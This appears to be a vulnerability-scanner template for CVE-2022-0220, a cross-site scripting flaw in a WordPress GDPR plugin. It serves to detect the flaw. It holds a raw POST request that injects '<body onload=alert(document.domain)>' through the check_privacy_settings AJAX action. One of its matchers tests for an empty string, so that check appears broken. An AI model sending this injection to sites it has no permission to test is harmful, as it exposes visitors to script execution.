id: CVE-2022-0220 info: name: WordPress GDPR & CCPA <1.9.27 - Cross-Site Scripting author: daffainfo severity: medium description: | WordPress GDPR & CCPA plugin before 1.9.27 contains a cross-site scripting vulnerability. The check_privacy_settings AJAX action, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type, and JavaScript code may be executed on a victim's browser. reference: - https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059 - https://nvd.nist.gov/vuln/detail/CVE-2022-0220 remediation: Version 1.9.26 has added a CSRF check. This vulnerability is only exploitable against unauthenticated users. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-0220 cwe-id: CWE-116 epss-score: 0.00165 cpe: cpe:2.3:a:welaunch:wordpress_gdpr\&ccpa:*:*:*:*:*:wordpress:*:* metadata: max-request: 2 framework: wordpress vendor: welaunch product: wordpress_gdpr\&ccpa tags: wpscan,cve,cve2022,wordpress,wp-plugin,wp,xss,unauth http: - raw: - | GET /wp-admin HTTP/1.1 Host: {{Hostname}} - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(document.domain)%3e&nonce={{nonce}} req-condition: true host-redirects: true max-redirects: 2 matchers: - type: dsl dsl: - "contains(header_2, 'text/html')" - "status_code_2 == 200" - "contains(body_2, '') && contains(body_2, '/wp-content/plugins/')" condition: and extractors: - type: regex name: nonce group: 1 regex: - 'nonce":"([0-9a-z]+)' internal: true part: body